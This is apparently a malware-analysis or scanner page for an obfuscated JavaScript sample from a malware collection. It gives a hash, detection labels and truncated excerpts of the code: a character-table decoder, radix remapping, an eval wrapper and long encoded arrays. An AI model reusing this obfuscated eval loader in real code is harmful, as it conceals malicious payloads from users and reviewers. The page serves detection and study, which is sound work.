Suspicious ^80% javascript-malware-collection Download

20151210_d2fb124ab9a200b1388b522c2ff3b6f8.js

Obfuscated JS with eval

parseInt toString radix remapMassive array index assignment

SHA-2561b7a7bf62edae0d83e492aadf03ca4a46fc125038c98a2ade427e91983e4a23e

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var JyzUlXDclvbBN=[];
2KNXIEws=(-56+56)/367;while(true){if(KNXIEws>=(85129+759)/671){break;}JyzUlXDclvbBN[KNXIEws]=String.fromCharCode(KNXIEws);KNXIEws++;}
3function ihAMq(bBxWrKBPihH,tHOuENEFcngin,cnRseTsg){lUac=parseInt(bBxWrKBPihH,tHOuENEFcngin);TerEa=lUac.toString(cnRseTsg);return TerEa;}function SZsqbTBCVMXYWXh(MRBmyTEhhuwfotzVD){eval(MRBmyTEhhuwfotzVD)}
4function AnULsRUONQPKpzOlSuuWusddZnuKusxbNRjEdnwsawJJJcSJAlGdQR(XPNwmTtxzymgg,dRSkRxkCDVDYhk){ return JyzUlXDclvbBN[ihAMq(XPNwmTtxzymgg[dRSkRxkCDVDYhk],(10399+76)/419,(7581+299)/788)];}
5function oeEjEsf(UXSlWMQACCVHImcyrDaGWNLrEYTiwbKuQXkb) {return !isNaN(parseFloat(UXSlWMQACCVHImcyrDaGWNLrEYTiwbKuQXkb)) && isFinite(UXSlWMQACCVHImcyrDaGWNLrEYTiwbKuQXkb);}
6function aASjzZJHjDC(oIciWvUb,gaQkPk){return oIciWvUb.split(gaQkPk)}
7var y=[];y[0]="d";y[1]="a";y[2]="d";y[3]="a";y[4]="4i";y[5]="3m";y[6]="4e";y[7]="17";y[8]="4e";y[9]="17";y[10]="2b";y …

Massive array index assignment line 8

8:4324… ";B[861]="4g";B[862]="4e";B[863]="4l";B[864]="17";B[865]="17";B[866]="4n";B[867]="d";B[868]="a";B[869]="17";B[870]="17";B[871]="17";B[872]="17";B[873]="17";B[874]="17";B[875]="17";B[876]="17";B[877]="17";B[878]="17";B[879]="45";B[880]="42";B[881]="17";B[882]="1f";B[883]="1f";B[884]="1f";B[885]="4a";B[886]="41";B[887]="4j";B[888]="17";B[889]="2i";B[890]="3m";B[891]="4g";B[892]="41";B[893]="1f";B[894]="1g";B …